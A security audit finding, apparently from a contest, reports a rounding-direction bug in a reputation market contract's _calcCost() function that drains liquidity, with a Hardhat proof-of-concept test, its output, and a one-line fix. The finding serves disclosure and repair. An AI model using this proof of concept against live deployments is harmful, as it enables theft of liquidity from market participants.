Melodic Latte Pheasant
High
The wrong rounding direction in _calcCost()
will drain market liquidity during regular trading operations.
In ReputationMarket.sol:1057
rounding direction is determined based on the value of isPositive
flag. The mistake is that isPositive
is true
for the TRUST votes and false
for DISTRUST votes. That means that rounding direction is dictated by the vote's type the _calCost()
function processes at the moment, which is wrong. Rounding must always favor the protocol: round up when a user buys votes, and round down when a user sells votes back.
The statements below illustrate current _calcCost()
behaviour:
- User buys TRUST votes => Rounding.Floor (WRONG: less cost paid)
- User sells TRUST votes => Rounding.Floor (FINE)
- User buys DISTRUST votes => Rounding.Ceil (FINE)
- User sells DISTRUST votes => Rounding.Ceil (WRONG: higher cost refunded)
None
None
Users buy and sell votes.
The reputation market suffers from a liquidity drain.
The following invariant is broken:
The contract must never pay out the initial liquidity deposited as part of trading.
Insert this test into ethos/packages/contracts/test/reputationMarket/rep.market.test.ts
it('poc_01', async () => {
const profileId = ethosUserB.profileId;
await reputationMarket
.connect(deployer.ADMIN)
.addMarketConfig(100n, ethers.parseEther('.001'), DEFAULT.creationCost);
const marketConfigIndex = (await reputationMarket.getMarketConfigCount()) - 1n;
await reputationMarket.connect(deployer.ADMIN).setUserAllowedToCreateMarket(profileId, true);
await reputationMarket
.connect(userB.signer)
.createMarketWithConfig(marketConfigIndex, { value: DEFAULT.creationCost });
let funds = await reputationMarket.marketFunds(profileId);
console.log(`Market funds (initial state) : ${funds}`);
// buy positive votes
const votes = 50n;
for (let i = 0; i < votes; i++) {
await userA.buyVotes({ profileId, votesToBuy: 1n });
funds = await reputationMarket.marketFunds(profileId);
}
console.log(`Market funds after buying ${votes} votes : ${funds}`);
await userA.sellVotes({ profileId, sellVotes: votes });
funds = await reputationMarket.marketFunds(profileId);
console.log(`Market funds after selling ${votes} votes: ${funds}`);
});
Output:
$ npx hardhat test --grep poc_01
ReputationMarket
Market funds (initial state) : 1000000000000000000
Market funds after buying 50 votes : 1028092980362016112
Market funds after selling 50 votes: 999999999999999975
✔ poc_01 (1191ms)
1 passing (3s)
In the _calcCost()
, determine rounding direction based on costRatio
sign:
uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1);
// multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio
cost = positiveCostRatio.mulDiv(
market.basePrice,
1e18,
-- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil
++ costRatio < 0 ? Math.Rounding.Floor : Math.Rounding.Ceil
);